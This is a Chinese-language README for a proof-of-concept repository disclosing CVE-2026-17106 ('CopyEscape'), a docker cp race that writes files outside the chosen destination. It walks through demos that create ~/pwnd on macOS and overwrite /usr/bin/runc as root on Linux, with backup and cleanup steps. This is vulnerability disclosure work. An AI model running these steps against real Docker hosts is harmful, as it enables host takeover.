docker cp 接管 Docker 主机(CVE-2026-17106)这是博客文章 CopyEscape:利用 docker cp 接管 Docker 主机 — CVE-2026-17106 的概念验证(PoC)仓库。
CopyEscape 可让恶意运行的容器与 Docker 的归档生成器竞争,从而创建不一致的 tar 流。随后,存在漏洞的 Docker CLI 会在提取过程中跟随被植入的符号链接,并写入运行 docker cp 的用户所选本地目标之外的位置。
该仓库包含两个演示:
macos/ 包含一个非破坏性的 Docker Desktop 演示,它会在 macOS 主机上创建 ~/pwnd。linux/ 包含原始的、高影响力的 Linux 演示,它会覆盖 /usr/bin/runc,并在执行被替换的运行时创建 /imperva_red_team。[!WARNING] 请仅在您拥有或已获明确授权测试的系统上运行这些 PoC。 Linux PoC 会故意替换
/usr/bin/runc;请使用一次性虚拟机,并在触发前创建经验证的备份。
/usr/bin/runc 演示的 root 权限。这些 PoC 是在 Docker Engine/CLI 29.6.1 和 Docker Desktop 4.81.0 上开发并测试的。已修复的版本应拒绝恶意归档,或在不写入超出所选目标范围的情况下完成复制。
~/pwnd此演示针对运行 Docker CLI 的用户的 home 目录。如果 ~/pwnd 或本地 file.txt 目标已存在,它将拒绝继续。
运行:
cd macos
./demo-macos.sh
该脚本会构建镜像、启动准备好的容器,确认 /watched/file.txt 在容器内部看起来是一个普通文件,然后触发:
docker cp <demo-container>:/watched/file.txt ./file.txt
在存在漏洞的 Docker Desktop 版本上,此次复制会创建:
~/pwnd
内容如下:
COPYESCAPE_MACOS_DEMO
清理:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] 此演示会暂时使 Docker 主机的运行时不可用,并以 root 身份执行由攻击者控制的替换文件。请使用一次性虚拟机。 在
docker cp返回后、运行下一条 Docker 命令之前,请恢复runc。
打开一个 root shell 并进入 Linux PoC 目录:
sudo -s
cd linux
在开始测试之前创建并验证备份:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
构建镜像:
docker build -t copyescape-linux .
在第一个终端中启动准备好的容器:
docker run --name copyescape-linux copyescape-linux
在第二个 root 终端中,确认该准备好的路径对于容器内的进程来说看起来像一个常规文件:
docker exec copyescape-linux cat /watched/file.txt
预期输出:
top-level file
触发漏洞:
docker cp copyescape-linux:/watched/file.txt ./file.txt
在存在漏洞的 Docker 版本上,/usr/bin/runc 现在包含 PoC shell 脚本。执行被替换的运行时将创建 root 所有的标记文件:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
在发出下一条 Docker 命令之前,立即恢复原始运行时:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
在 runc 已恢复并验证后,删除剩余的测试产物:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
两个 PoC 都将 /watched/file.txt 呈现为容器内运行进程眼中的普通文件,而 Docker 守护进程看到的却是一个底层目录。在 Docker 的文件系统遍历过程中,监控器会将某个目录替换为预先布设的绝对符号链接。生成的 tar 流包含该符号链接及其下方的子条目。存在漏洞的 Docker CLI 会创建该符号链接,然后通过它将子条目提取到客户端文件系统上。
最终的写入会带有运行 docker cp 的进程的权限。